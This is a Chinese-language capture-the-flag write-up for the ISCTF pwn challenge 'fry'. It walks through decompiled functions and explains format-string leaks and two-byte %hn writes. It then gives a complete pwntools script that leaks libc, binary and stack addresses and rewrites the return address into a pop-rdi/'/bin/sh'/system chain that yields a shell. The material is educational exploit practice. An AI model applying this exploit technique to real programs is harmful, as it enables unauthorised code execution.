这题是一个比较好的进阶格式化利用。就是有点繁琐。
先惯例checksec一下
心脏骤停hhh。
没事先分析一下
Main函数
int __cdecl main(int argc, const char **argv, const char **envp)
{
init(argc, argv, envp);
puts("Welcome to ISCTF~~~~~~~~~~~~~~~~");
puts("Do you want to get something funny");
puts("Let's go on an adventure!");
adventure();
return 0;
}
啥都没有,只能继续看
Adventure函数
unsigned __int64 adventure()
{
char s2[7]; // [rsp+9h] [rbp-37h] BYREF
char buf[40]; // [rsp+10h] [rbp-30h] BYREF
unsigned __int64 v3; // [rsp+38h] [rbp-8h]
v3 = __readfsqword(0x28u);
strcpy(s2, "fries");
s2[6] = 0;
puts("Emmmmm... Could you give me some fries");
read(0, buf, 0x14uLL);
if ( !strcmp(buf, s2) )
{
puts("Thank u!!!");
format();
}
else
{
printf("Oh~~~ That's bad!!");
}
return v3 - __readfsqword(0x28u);
}
也没啥,只要输入一个fries就可以进format函数,并且这里不存在溢出。
Format函数
unsigned __int64 format()
{
int i; // [rsp+Ch] [rbp-84h]
char buf[120]; // [rsp+10h] [rbp-80h] BYREF
unsigned __int64 v3; // [rsp+88h] [rbp-8h]
v3 = __readfsqword(0x28u);
for ( i = 0; i <= 7; ++i )
{
puts("Go get some fries on the pier");
read(0, buf, 0x40uLL);
printf(buf);
}
return v3 - __readfsqword(0x28u);
}
重头戏来了。这里有连续八次的格式化漏洞,每次给我们的空间是0x40。不存在栈溢出
泄露思路
泄露libc基地址是肯定要的,这题给了libc大概率有用。等会在栈上找一个libc的函数真实地址就行
然后是程序的基地址,这题可以通过format函数返回地址获取。
其次也需要泄露一个栈地址,因为这题无法覆盖format函数返回地址来劫持程序流,那我想到的是用格式化字符串来修改返回地址以劫持程序走向libc的poprdi,然后system。这一点如果不明白可以等会再说。
手搓格式化前置知识1
因为格式化字符串并不是修改栈本身储存的东西,而是修改栈本身储存的地址指向的东西,而泄露是泄露栈本身储存的东西。
比如这里我的%p就是泄露栈本身储存的东西,即三个小蓝圈圈出来的东西,而如果我用%n去覆写,会被覆写的是黄色标记的内容也就是我说的栈上的地址指向的东西。
可以理解为栈地址是零阶,栈本身储存的东西为一阶,栈本身储存的地址指向的东西为二阶。
如果要讲的再详细一点就是,图中左边的蓝色区块是栈段,你可以用栈段储存两种东西。
1.八字节大小直接的数字,字符串。图中储存的%11$p%25$p%24$p\n
就是直接储存的表现。
2.一串八字节的地址。图中的三个小蓝圈就是栈上储存的八字节地址。
如果你用%p或是%x去泄露,你会得到一阶的东西,如果你用%n覆写,会改写二阶的东西。
一般来说是用不到这些东西的,因为fmtstr_payload确实很好用,但是它存在一个问题就是字节量大,在这题里面会超过0x40。
等会我们对格式化理解更深入之后就可以理解为什么fmtstr_payload字节量大了。
如果不理解11,25,24这三个数如何来的不会算偏移量的同学可以看看我之前的这篇博客https://blog.51cto.com/u_16356440/8695892
手搓格式化前置知识2
如上图,我们分别拿到了libc的基地址,程序的基地址,栈段地址(这个栈地址是我处理后的,让他等于format函数返回地址,因为栈的偏移量也是固定的。)
为了更好的理解接下来的覆写思路,我先发送了一段试例payload
payload = p64(stack_adr + 0) + p64(stack_adr + 1)
payload +=p64(stack_adr + 2) + p64(stack_adr + 4)
payload +=p64(stack_adr + 6) + p64(stack_adr + 8)
payload +=p64(stack_adr +10) + p64(stack_adr +12)
io.recvuntil(b'pier\n')
io.sendline(payload)
这里主要关注蓝圈内容和下面画蓝线的部分内容对比。结合刚才的payload,我猜你们也知道发生了什么。
这是我自己画的,有点粗糙hhh。
现在比如我们要覆写0x7ffd2bc1ded0 —▸ 0x7ffd2bc1df58 —▸ 0x55fdece8e387(adventure+134)
的最后的这个返回地址
我们肯定没办法直接%kc%m$n
的方式覆写,这样子的k会是一个天文数字,非常容易出问题卡顿等等,更别提连靶机的时候网络稍微出点问题就寄寄。
所以我们选择用%kc%m$hn
,n是四字节,hn是两字节,hhn是一个字节。( 这里的%kc
可以避免你使用b'a'*k
)
而$hn只会改写该地址指向内容的最低两个字节,这也就是我们要用到p64(stack_adr + 2)
的原因。
取其指向的返回地址(0x0000 55fd ece8 e387)
的更高位,这里加2之后结果是0xe880 0000 55fd ece8
,我们就能顺利修改到返回地址的任意一位0x55fdece8e387(adventure+134)
还有刚刚说的为什么fmtstr_payload做这题不行,他用的是hhn,就导致我们改一次的事情,他要改两次,导致输入的字节长度会比我们长很多,无法减到0x40一下,所以这题我只知道手搓格式化的做法。
如果到这里还是不理解可以去看看ad世界(xctf)greeting-150那题的题解再来看这题,greeting-150比这题更简单一些。
覆写前数据处理
由于我们打算一次覆写两个字节,首先得把我们的gagdet拆成四份,每份两字节。
这里用poprdi的gagdet举例,假设原来的libc_pop
是0x0000 7fff aaaa bbbb
我用的是与运算,是当时在网上查到的方法。
libc_pop = libc_base + 0x27C65#这个是我直接在题目给的libc文件里找的poprdi和base的偏移量
libc_pop1 = (libc_pop&0xFFFF00000000)//0x100000000#libc_pop1 = 0x7fff
libc_pop2 = (libc_pop&0xFFFF0000)//0x10000#libc_pop1 = 0xaaaa
libc_pop3 = (libc_pop&0xFFFF)#libc_pop1 = 0xbbbb
覆写思路
这题毫无疑问我们需要覆写很多次,得先定义一个函数。这是我的,刚开始做的时候一次改2×hn出现了问题,后来在大佬指点下明白了原因是被\x00
截断了,但是还没这么做,就先只讲我原来的办法。
def fmtsend(libc_adr,stack_adr,x):
io.recvuntil(b'pier\n')#libc_adr
payload2 = (b'%' + str(libc_adr).encode() + b'c%10$hn').ljust(0x10,b'\x00')#8 9
payload2 += p64(stack_adr + x)#10
io.sendline(payload2)
print(payload2)
我的函数长这样,一次只覆盖两个字节。我们至少需要p64(pop_rdi),p64(/bin/sh),p64(system)
三个gadget
就算先不考虑栈对其可能还得在加一个ret的地址,我们也至少有3 * 6个字节要覆盖也就是18/2 = 9次,超过了题目改的8次。
所以我先找了format函数的起始地址,在第一轮中先把format返回地址覆盖成起始地址续个命,再来一次。
from pwn import *
context(
terminal = ['tmux','splitw','-h'],
os = "linux",
arch = "amd64",
# arch = "i386",
log_level="debug",
)
# io = remote("61.147.171.105", 61545)
io = process('./fry')
def debug():
gdb.attach(io)
pause()
debug()
io.recvuntil(b'some fries\n')
io.send(b'fries')
io.recvuntil(b'pier\n')
payload = b'%11$p%25$p%24$p'
io.sendline(payload)#0
#分别泄露libc基地址,主代码段基地址,栈段地址
libc_base = int(io.recv(0xe),16) - 0x80BB0 - 25
print(hex(libc_base))
libc_pop = libc_base + 0x27C65
libc_pop1 = (libc_pop&0xFFFF00000000)//0x100000000
libc_pop2 = (libc_pop&0xFFFF0000)//0x10000
libc_pop3 = (libc_pop&0xFFFF)
libc_bin = libc_base + 0x19604F
libc_bin1 = (libc_bin&0xFFFF00000000)//0x100000000
libc_bin2 = (libc_bin&0xFFFF0000)//0x10000
libc_bin3 = (libc_bin&0xFFFF)
libc_sys = libc_base + 0x4C920
libc_sys1 = (libc_sys&0xFFFF00000000)//0x100000000
libc_sys2 = (libc_sys&0xFFFF0000)//0x10000
libc_sys3 = (libc_sys&0xFFFF)
fry_base = int(io.recv(0xe),16) - 0x1387
print(hex(fry_base))
read_adr = fry_base + 0x127A
read_adr1 = (read_adr&0xFFFF00000000)//0x100000000
read_adr2 = (read_adr&0xFFFF0000)//0x10000
read_adr3 = (read_adr&0xFFFF)
ret_adr = fry_base + 0x142A
ret_adr1 = (ret_adr&0xFFFF00000000)//0x100000000
ret_adr2 = (ret_adr&0xFFFF0000)//0x10000
ret_adr3 = (ret_adr&0xFFFF)
stack_adr = int(io.recv(0xe),16) - 0x48
print(hex(stack_adr))
def fmtsend(libc_adr,stack_adr,x):
io.recvuntil(b'pier\n')#libc_adr
payload2 = (b'%' + str(libc_adr).encode() + b'c%10$hn').ljust(0x10,b'\x00')#8 9
payload2 += p64(stack_adr + x)#10
io.sendline(payload2)
print(payload2)
#尽量简化代码
fmtsend(read_adr1,stack_adr,4)#1#末尾的数字用来记总共几次了
fmtsend(read_adr2,stack_adr,2)#2#由于最开始泄露了一次
fmtsend(read_adr3,stack_adr,0)#3#所以从1开始。
fmtsend(libc_bin1,stack_adr,36)#4
fmtsend(libc_bin2,stack_adr,34)#5
fmtsend(libc_bin3,stack_adr,32)#6
fmtsend(libc_sys1,stack_adr,44)#7
fmtsend(libc_sys2,stack_adr,42)#0
fmtsend(libc_sys3,stack_adr,40)#1
fmtsend(ret_adr1,stack_adr,20)#2
fmtsend(ret_adr2,stack_adr,18)#3
fmtsend(ret_adr3,stack_adr,16)#4
fmtsend(libc_pop1,stack_adr,28)#5
fmtsend(libc_pop2,stack_adr,26)#6
fmtsend(libc_pop3,stack_adr,24)#7
io.interactive()
具体有些细节像stack_adr
加几,我大部分都是再调试中完成的,因为重新返回format函数之后感觉栈地址比较乱。其实还是太菜了www